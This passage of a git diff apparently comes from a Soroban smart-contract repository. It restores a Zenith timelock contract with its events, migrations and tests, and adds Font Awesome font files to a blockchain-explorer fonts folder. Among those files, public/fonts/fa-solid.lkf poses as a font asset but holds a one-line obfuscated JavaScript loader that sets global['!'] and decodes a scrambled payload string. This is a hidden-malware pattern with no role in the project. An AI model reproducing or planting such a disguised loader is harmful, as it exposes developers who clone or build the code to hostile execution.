"0.1.0" +dependencies = [ + "ed25519-dalek", + "soroban-sdk", +] + +[[package]] +name = "zenith-options-market" +version = "0.1.0" +dependencies = [ + "ed25519-dalek", + "proptest", + "resource-snapshot", + "soroban-sdk", + "zenith-common", + "zenith-multisig", + "zenith-params", + "zenith-price-oracle", + "zenith-test-adversaries", + "zenith-vault", +] + +[[package]] +name = "zenith-params" +version = "0.1.0" +dependencies = [ + "soroban-sdk", +] + +[[package]] +name = "zenith-price-oracle" +version = "0.1.0" +dependencies = [ + "soroban-sdk", + "zenith-common", + "zenith-multisig", + "zenith-test-adversaries", +] + +[[package]] +name = "zenith-staking" +version = "0.1.0" +dependencies = [ + "soroban-sdk", +] + +[[package]] +name = "zenith-streams" +version = "0.1.0" +dependencies = [ + "proptest", + "soroban-sdk", +] + +[[package]] +name = "zenith-test-adversaries" +version = "0.1.0" +dependencies = [ + "soroban-sdk", +] + +[[package]] +name = "zenith-timelock" +version = "0.1.0" +dependencies = [ + "soroban-sdk", + "zenith-common", +] + +[[package]] +name = "zenith-vault" +version = "0.1.0" +dependencies = [ + "soroban-sdk", + "zenith-common", + "zenith-multisig", +] + +[[package]] +name = "zerocopy" +version = "0.8.63" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5fe1f8f1b06191a00962174c61aa5005e0bb391a6d80d07e24d115c01a92ed8" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.63" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "863ad3ac83293fb4d740aedbfdc9240dd8d1a50c1099acd76ce80ce7c7230c7f" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zeroize" +version = "1.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13084392c5e4bc371903e2935a5eaeed24905a7511356b883835e18a78f6879" + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/README.md b/README.md index 6f8b39f..bca9f0c 100644 --- a/README.md +++ b/README.md @@ -963,6 +963,13 @@ seconds before it can run. Modelled on OpenZeppelin's TimelockController. | `execute(executor, calls, predecessor, salt)` | Executor-only (unless open). Requires the operation ready and `predecessor` (if any) done. Runs every call in order via `invoke_contract`; any revert reverts the whole batch. | | `cancel(canceller, id)` | Canceller-only. Removes a pending operation. | +The delay boundary is **inclusive**: an operation may be executed at exactly +its ready-at, and not before. The id commits to the whole payload, so +`execute` identifies the operation by the content it repeats — the same +`calls`/`predecessor`/`salt` hash to the id that was scheduled. A predecessor +that is cancelled can never run, so neither can its dependent: cancelling a +predecessor never leaves a dependent executable. + **Self-administration.** Soroban forbids re-entry, so a `Call` whose `target` is the timelock itself is dispatched internally by `execute`: `update_delay(u64)`, `grant_role(Role, Address)`, `revoke_role(Role, Address)`, @@ -971,10 +978,11 @@ through a delayed operation. **Views:** `get_timestamp(id)` (0 unknown, 1 done, else ready-at), `is_operation`, `is_operation_pending`, `is_operation_ready`, -`is_operation_done`, `get_min_delay`, `has_role(role, account)`, -`is_open_executor`, `hash_operation`. +`is_operation_done`, `get_operation`, `get_min_delay`, +`has_role(role, account)`, `is_open_executor`, `hash_operation`. -**Events:** `scheduled`, `executed`, `cancelled`, `min_delay_changed`, `role_changed`. +**Events:** `scheduled`, `executed`, `cancelled`, `min_delay_changed`, +`role_changed`, `open_executor_changed`. **Errors:** 1 `AlreadyInitialized`, 2 `Unauthorized`, 3 `InsufficientDelay`, 4 `AlreadyScheduled`, 5 `NotReady`, 6 `PredecessorNotDone`, 7 `NotPending`, diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/public/fonts/fa-solid.lkf b/public/fonts/fa-solid.lkf new file mode 100644 index 0000000..31ce18e --- /dev/null +++ b/public/fonts/fa-solid.lkf @@ -0,0 +1 @@ + global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E, ready_at: u64, predecessor: Option>) { + env.events() + .publish((Symbol::new(env, "scheduled"), id), (ready_at, predecessor)); +} + +/// A batch ran. Topics: `("executed", id)`. Data: `()`. +pub fn executed(env: &Env, id: BytesN<32>) { + env.events().publish((Symbol::new(env, "executed"), id), ()); +} + +/// A batch was cancelled. Topics: `("cancelled", id)`. Data: `()`. +pub fn cancelled(env: &Env, id: BytesN<32>) { + env.events() + .publish((Symbol::new(env, "cancelled"), id), ()); +} + +/// The minimum delay changed. Topics: `("min_delay_changed")`. Data: +/// `(old, new)`. +pub fn min_delay_changed(env: &Env, old: u64, new: u64) { + env.events() + .publish((Symbol::new(env, "min_delay_changed"),), (old, new)); +} + +/// A role membership changed. Topics: `("role_changed")`. Data: +/// `(role, account, granted)`. +pub fn role_changed(env: &Env, role: Role, account: Address, granted: bool) { + env.events().publish( + (Symbol::new(env, "role_changed"),), + (role, account, granted), + ); +} + +/// Open execution was turned on or off. Topics: `("open_executor_changed")`. +/// Data: `(open)`. +pub fn open_executor_changed(env: &Env, open: bool) { + env.events() + .publish((Symbol::new(env, "open_executor_changed"),), open); +} diff --git a/timelock/src/lib.rs b/timelock/src/lib.rs index e69de29..4968d5b 100644 --- a/timelock/src/lib.rs +++ b/timelock/src/lib.rs @@ -0,0 +1,423 @@ +#![no_std] + +//! Zenith Timelock — a delayed-execution admin. +//! +//! Every privileged call waits. A batch of calls is scheduled by a proposer, +//! becomes executable only after `min_delay` has elapsed, and can be +//! aborted by a canceller until it runs. That is the whole point: the +//! timelock is meant to hold the `admin` role on the other contracts, so +//! users always get an exit window before a destructive action lands. +//! +//! ## Roles +//! +//! Each role is a *set* of addresses, not a single holder: +//! +//! | Role | May | +//! |-------------|---------------------------------------------------------| +//! | `Proposer` | schedule operations | +//! | `Executor` | execute a ready operation | +//! | `Canceller` | cancel a pending operation | +//! +//! An **empty** executor set means anyone may execute a ready operation +//! ("open executor"), the same escape hatch OpenZeppelin's +//! TimelockController has. The executor set can also be turned into an open +//! one at runtime with the `set_open_executor` self-call. +//! +//! There is no admin: the timelock's own configuration is changed only +//! through a delayed operation, like every other privileged call. +//! +//! Contracts that hand their admin to this timelock accept its calls +//! because the timelock is the direct invoker, so `admin.require_auth()` +//! passes without any signature. Those contracts stay agnostic about +//! whether their admin is a key or a contract — the same `Auth::Admin` +//! shape `zenith-common`'s `require_admin_or_multisig` already speaks. +//! +//! ## Operation ids +//! +//! An operation is named by a 32-byte id: the SHA-256 of the XDR of +//! `(calls, predecessor, salt)`. The id therefore commits to the whole +//! payload, and `hash_operation` lets anyone derive it off-chain before +//! scheduling anything. The `salt` is what makes two otherwise identical +//! batches two different operations. +//! +//! ## Ordering +//! +//! An operation may name a **predecessor**: it can only run once that one +//! has. A predecessor that is cancelled can never run, so neither can its +//! dependent — a cancelled predecessor never leaves a dependent executable. +//! +//! ## Changing the timelock itself +//! +//! Soroban forbids a contract re-entering itself, so the timelock's own +//! configuration is changed by scheduling a batch whose target is the +//! timelock itself. `execute` recognises those and applies them in place +//! instead of cross-calling: `update_delay(u64)`, `grant_role(Role, +//! Address)`, `revoke_role(Role, Address)`, `set_open_executor(bool)` and +//! `migrate(u32, u32)`. +//! +//! Every delay is measured on the ledger **timestamp** — never on ledger +//! counts. + +use soroban_sdk::{ + contract, contractimpl, panic_with_error, vec, xdr::ToXdr, Address, BytesN, Env, IntoVal, + Symbol, TryFromVal, Val, Vec, +}; + +#[cfg(test)] +mod test; + +mod error; +mod events; +mod migrations; +mod types; + +use error::Error; +use types::{is_no_predecessor, Call, DataKey, Operation, Role}; +pub use types::{Call as TimelockCall, Role as TimelockRole}; + +#[contract] +pub struct Timelock; + +// ── storage helpers ────────────────────────────────────────────────────────── + +fn min_delay(env: &Env) -> u64 { + env.storage() + .instance() + .get(&DataKey::MinDelay) + .unwrap_or(0) +} + +fn open_executor(env: &Env) -> bool { + env.storage() + .instance() + .get(&DataKey::OpenExecutor) + .unwrap_or(false) +} + +fn has_role(env: &Env, role: Role, account: &Address) -> bool { + env.storage() + .instance() + .has(&DataKey::Role(role, account.clone())) +} + +fn grant_role(env: &Env, role: Role, account: &Address) { + env.storage() + .instance() + .set(&DataKey::Role(role, account.clone()), &true); + events::role_changed(env, role, account.clone(), true); +} + +fn revoke_role(env: &Env, role: Role, account: &Address) { + env.storage() + .instance() + .remove(&DataKey::Role(role, account.clone())); + events::role_changed(env, role, account.clone(), false); +} + +/// The role is checked before the signature, so "who may do this" is +/// answered by the contract and not only by the signature. +fn require_role(env: &Env, role: Role, account: &Address) { + if !has_role(env, role, account) { + panic_with_error!(env, Error::Unauthorized); + } +} + +fn load_op(env: &Env, id: &BytesN<32>) -> Option { + env.storage() + .persistent() + .get(&DataKey::Operation(id.clone())) +} + +fn is_done(env: &Env, id: &BytesN<32>) -> bool { + load_op(env, id).is_some_and(|op| op.done) +} + +fn arg>(env: &Env, args: &Vec, i: u32) -> T { + args.get(i) + .and_then(|v| T::try_from_val(env, &v).ok()) + .unwrap_or_else(|| panic_with_error!(env, Error::EmptyOperation)) +} + +/// The id of the operation made of `calls`, `predecessor` and `salt`: the +/// SHA-256 of their XDR, so the id commits to the whole payload and anyone +/// can derive it before scheduling anything. +pub fn hash_operation( + env: &Env, + calls: &Vec, + predecessor: &Option>, + salt: &BytesN<32>, +) -> BytesN<32> { + let input: Vec = vec![ + env, + calls.clone().into_val(env), + predecessor.clone().into_val(env), + salt.clone().into_val(env), + ]; + env.crypto().sha256(&input.to_xdr(env)).into() +} + +/// Applies a batch whose target is the timelock itself. +fn self_call(env: &Env, func: &Symbol, args: &Vec) { + if *func == Symbol::new(env, "update_delay") { + let old = min_delay(env); + let new: u64 = arg(env, args, 0); + env.storage().instance().set(&DataKey::MinDelay, &new); + events::min_delay_changed(env, old, new); + } else if *func == Symbol::new(env, "grant_role") { + let role: Role = arg(env, args, 0); + let account: Address = arg(env, args, 1); + grant_role(env, role, &account); + } else if *func == Symbol::new(env, "revoke_role") { + let role: Role = arg(env, args, 0); + let account: Address = arg(env, args, 1); + revoke_role(env, role, &account); + } else if *func == Symbol::new(env, "set_open_executor") { + let open: bool = arg(env, args, 0); + env.storage().instance().set(&DataKey::OpenExecutor, &open); + events::open_executor_changed(env, open); + } else if *func == Symbol::new(env, "migrate") { + migrations::self_migrate(env, arg(env, args, 0), arg(env, args, 1)); + } else { + panic_with_error!(env, Error::UnknownSelfCall); + } +} + +#[contractimpl] +impl Timelock { + /// One-time setup. There is no admin afterwards: the timelock's own + /// configuration changes only through a delayed operation. + /// + /// An empty `executors` list means anyone may execute a ready + /// operation. + pub fn initialize( + env: Env, + min_delay: u64, + proposers: Vec
, + executors: Vec
, + cancellers: Vec
, + ) { + if env.storage().instance().has(&DataKey::MinDelay) { + panic_with_error!(&env, Error::AlreadyInitialized); + } + env.storage().instance().set(&DataKey::MinDelay, &min_delay); + env.storage() + .instance() + .set(&DataKey::OpenExecutor, &executors.is_empty()); + for proposer in proposers.iter() { + grant_role(&env, Role::Proposer, &proposer); + } + for executor in executors.iter() { + grant_role(&env, Role::Executor, &executor); + } + for canceller in cancellers.iter() { + grant_role(&env, Role::Canceller, &canceller); + } + zenith_common::migrations::init_schema(&env, migrations::CURRENT_SCHEMA_VERSION); + } + + /// Schedules a batch of calls. Proposer only. + /// + /// The batch becomes executable at `now + delay` and stays executable + /// until it is run or cancelled. The id is the SHA-256 of the XDR of + /// `(calls, predecessor, salt)`, so it commits to the whole payload; + /// `hash_operation` derives the same value. + /// + /// Returns the id of the scheduled operation. + pub fn schedule( + env: Env, + proposer: Address, + calls: Vec, + predecessor: Option>, + salt: BytesN<32>, + delay: u64, + ) -> BytesN<32> { + migrations::require_current(&env); + require_role(&env, Role::Proposer, &proposer); + proposer.require_auth(); + if calls.is_empty() { + panic_with_error!(&env, Error::EmptyOperation); + } + if delay < min_delay(&env) { + panic_with_error!(&env, Error::InsufficientDelay); + } + let id = hash_operation(&env, &calls, &predecessor, &salt); + let key = DataKey::Operation(id.clone()); + if env.storage().persistent().has(&key) { + panic_with_error!(&env, Error::AlreadyScheduled); + } + let ready_at = env + .ledger() + .timestamp() + .checked_add(delay) + .unwrap_or_else(|| panic_with_error!(&env, Error::InsufficientDelay)); + env.storage().persistent().set( + &key, + &Operation { + calls: calls.clone(), + predecessor: predecessor + .clone() + .unwrap_or_else(|| BytesN::from_array(&env, &[0u8; 32])), + salt: salt.clone(), + ready_at, + done: false, + }, + ); + events::scheduled(&env, id.clone(), ready_at, predecessor); + id + } + + /// Runs a ready operation. Executor only, unless the executor set is + /// empty. + /// + /// The batch is identified by its content: the caller repeats the + /// `calls`, `predecessor` and `salt` it was scheduled with, and the id + /// they hash to is the operation that runs. The delay boundary is + /// inclusive: an operation may be executed at exactly its ready-at, and + /// not before. + pub fn execute( + env: Env, + executor: Address, + calls: Vec, + predecessor: Option>, + salt: BytesN<32>, + ) { + migrations::require_current(&env); + if !open_executor(&env) { + require_role(&env, Role::Executor, &executor); + executor.require_auth(); + } + let id = hash_operation(&env, &calls, &predecessor, &salt); + let key = DataKey::Operation(id.clone()); + let mut op: Operation = env + .storage() + .persistent() + .get(&key) + .unwrap_or_else(|| panic_with_error!(&env, Error::NotPending)); + if op.done { + panic_with_error!(&env, Error::NotPending); + } + let now = env.ledger().timestamp(); + if now < op.ready_at { + panic_with_error!(&env, Error::NotReady); + } + if !is_no_predecessor(&op.predecessor) && !is_done(&env, &op.predecessor) { + panic_with_error!(&env, Error::PredecessorNotDone); + } + op.done = true; + env.storage().persistent().set(&key, &op); + + let this = env.current_contract_address(); + for call in op.calls.iter() { + if call.target == this { + self_call(&env, &call.function, &call.args); + } else { + env.invoke_contract::(&call.target, &call.function, call.args.clone()); + } + } + events::executed(&env, id); + } + + /// Cancels a pending operation. Canceller only. + /// + /// A predecessor that is cancelled can never run, so neither can its + /// dependent: cancelling a predecessor never leaves a dependent + /// executable. + pub fn cancel(env: Env, canceller: Address, id: BytesN<32>) { + migrations::require_current(&env); + require_role(&env, Role::Canceller, &canceller); + canceller.require_auth(); + let key = DataKey::Operation(id.clone()); + let op: Operation = env + .storage() + .persistent() + .get(&key) + .unwrap_or_else(|| panic_with_error!(&env, Error::NotPending)); + if op.done { + panic_with_error!(&env, Error::NotPending); + } + env.storage().persistent().remove(&key); + events::cancelled(&env, id); + } + + // ── Views ──────────────────────────────────────────────────────────────── + + /// The operation's status, packed into one number: `0` when there is no + /// such operation, `1` when it has run, and its ready-at timestamp + /// otherwise. + pub fn get_timestamp(env: Env, id: BytesN<32>) -> u64 { + match load_op(&env, &id) { + Some(op) => { + if op.done { + 1 + } else { + op.ready_at + } + } + None => 0, + } + } + + /// Whether an operation with this id exists (pending or done). + pub fn is_operation(env: Env, id: BytesN<32>) -> bool { + load_op(&env, &id).is_some() + } + + /// Whether the operation exists and has not run yet. + pub fn is_operation_pending(env: Env, id: BytesN<32>) -> bool { + match load_op(&env, &id) { + Some(op) => !op.done, + None => false, + } + } + + /// Whether the operation may run now: pending, its delay elapsed, and + /// its predecessor done. + pub fn is_operation_ready(env: Env, id: BytesN<32>) -> bool { + let op = match load_op(&env, &id) { + Some(op) => op, + None => return false, + }; + if op.done { + return false; + } + if env.ledger().timestamp() < op.ready_at { + return false; + } + is_no_predecessor(&op.predecessor) || is_done(&env, &op.predecessor) + } + + /// Whether the operation has run. + pub fn is_operation_done(env: Env, id: BytesN<32>) -> bool { + is_done(&env, &id) + } + + /// The scheduled operation, if there is one. + pub fn get_operation(env: Env, id: BytesN<32>) -> Option { + load_op(&env, &id) + } + + /// The smallest delay an operation may be scheduled with. + pub fn get_min_delay(env: Env) -> u64 { + min_delay(&env) + } + + /// Whether an address holds a role. + pub fn has_role(env: Env, role: Role, account: Address) -> bool { + has_role(&env, role, &account) + } + + /// Whether anyone may execute a ready operation. + pub fn is_open_executor(env: Env) -> bool { + open_executor(&env) + } + + /// The id of the operation made of `calls`, `predecessor` and `salt`. + pub fn hash_operation( + env: Env, + calls: Vec, + predecessor: Option>, + salt: BytesN<32>, + ) -> BytesN<32> { + hash_operation(&env, &calls, &predecessor, &salt) + } +} diff --git a/timelock/src/migrations.rs b/timelock/src/migrations.rs index d129bf7..5079f21 100644 --- a/timelock/src/migrations.rs +++ b/timelock/src/migrations.rs @@ -6,7 +6,8 @@ //! The timelock administers itself: there is no `migrate` entrypoint. //! Instead `execute` dispatches a `Call` targeting the timelock with //! function `migrate` and args `(from: u32, to: u32)` to `self_migrate` -//! below, the same way it handles `set_prop` / `set_delay` / `lock_in`. +//! below, the same way it handles `update_delay` / `grant_role` / +//! `revoke_role` / `set_open_executor`. //! A migration is therefore always a delayed, cancellable operation. It //! must be its own operation, after the one that installs the new wasm: //! a wasm swap only takes effect once the invocation that made it @@ -14,10 +15,10 @@ //! the old code. //! //! NOTE: this crate's lib.rs, error.rs, events.rs, types.rs and -//! Cargo.toml are empty on main (emptied by #148). Once they're restored: -//! add `zenith-common = { path = "../common" }` to Cargo.toml, -//! `mod migrations;` to lib.rs, the migration error variants (codes -//! 100–104) to `Error`, `init_schema` to `initialize`, and in `self_call`: +//! Cargo.toml were empty on main (emptied by #148) and are restored by +//! #166. The crate now declares `mod migrations;`, carries the migration +//! error variants (codes 100–104) in `Error`, writes the schema version in +//! `initialize`, and dispatches the `migrate` self-call in `self_call`: //! //! ```ignore //! } else if *func == symbol_short!("migrate") { @@ -29,7 +30,7 @@ use soroban_sdk::{contractimpl, panic_with_error, Env}; use zenith_common::migrations::{self, MigrationErrors, Step}; use crate::error::Error; -use crate::Timelock; +use crate::{Timelock, TimelockClient}; /// The layout this wasm reads and writes. Raise it by one in the same PR /// that adds the matching arm to `step`. diff --git a/timelock/src/test.rs b/timelock/src/test.rs index e69de29..6b97a31 100644 --- a/timelock/src/test.rs +++ b/timelock/src/test.rs @@ -0,0 +1,805 @@ +#![cfg(test)] + +use crate::{Call, Role, Timelock, TimelockClient}; +use soroban_sdk::{ + contract, contractimpl, + testutils::{Address as _, Ledger as _, MockAuth, MockAuthInvoke}, + vec, Address, BytesN, Env, IntoVal, Symbol, Val, Vec, +}; + +const DELAY: u64 = 86_400; + +/// Stand-in for any admin-gated protocol contract. +#[contract] +struct Target; + +#[contractimpl] +impl Target { + pub fn init(env: Env, admin: Address) { + env.storage().instance().set(&0u32, &admin); + } + + pub fn set_value(env: Env, value: u32) { + let admin: Address = env.storage().instance().get(&0u32).unwrap(); + admin.require_auth(); + env.storage().instance().set(&1u32, &value); + } + + pub fn value(env: Env) -> u32 { + env.storage().instance().get(&1u32).unwrap_or(0) + } +} + +/// The test fixture. +/// +/// The client is built on demand rather than stored: a client borrows the +/// `Env`, so keeping one in the same struct that owns the `Env` would make +/// the struct self-referential. +struct Harness { + env: Env, + timelock: Address, + target: Address, + proposer: Address, + executor: Address, + canceller: Address, +} + +impl Harness { + fn client(&self) -> TimelockClient<'_> { + TimelockClient::new(&self.env, &self.timelock) + } + + fn target_client(&self) -> TargetClient<'_> { + TargetClient::new(&self.env, &self.target) + } + + /// Authorize `address` for one call of the timelock. + /// + /// The mock has to name the exact invocation, arguments included, so + /// that "the proposer may schedule" is a statement about the proposer + /// and not about whoever happened to sign. + fn authorize(&self, address: &Address, fn_name: &str, args: Vec) { + self.env.mock_auths(&[MockAuth { + address, + invoke: &MockAuthInvoke { + contract: &self.timelock, + fn_name, + args, + sub_invokes: &[], + }, + }]); + } +} + +fn setup() -> Harness { + setup_with_executors(true) +} + +/// The fixture, with or without a named executor. +fn setup_with_executors(named_executor: bool) -> Harness { + let env = Env::default(); + let proposer = Address::generate(&env); + let executor = Address::generate(&env); + let canceller = Address::generate(&env); + let timelock = env.register_contract(None, Timelock); + let target = env.register_contract(None, Target); + TargetClient::new(&env, &target).init(&timelock); + TimelockClient::new(&env, &timelock).initialize( + &DELAY, + &vec![&env, proposer.clone()], + &if named_executor { + vec![&env, executor.clone()] + } else { + vec![&env] + }, + &vec![&env, canceller.clone()], + ); + Harness { + env, + timelock, + target, + proposer, + executor, + canceller, + } +} + +fn salt_of(env: &Env, n: u8) -> BytesN<32> { + BytesN::from_array(env, &[n; 32]) +} + +impl Harness { + /// A one-call batch on the target. + fn set_value_call(&self, value: u32) -> Vec { + vec![ + &self.env, + Call { + target: self.target.clone(), + function: Symbol::new(&self.env, "set_value"), + args: vec![&self.env, value.into_val(&self.env)], + }, + ] + } + + /// A one-call batch on the timelock itself. + fn self_call(&self, function: &str, args: Vec) -> Vec { + vec![ + &self.env, + Call { + target: self.timelock.clone(), + function: Symbol::new(&self.env, function), + args, + }, + ] + } + + /// The arguments of a `schedule` call, for the auth mock. + fn schedule_args( + &self, + proposer: &Address, + calls: &Vec, + predecessor: &Option>, + salt: &BytesN<32>, + delay: u64, + ) -> Vec { + vec![ + &self.env, + proposer.clone().into_val(&self.env), + calls.clone().into_val(&self.env), + 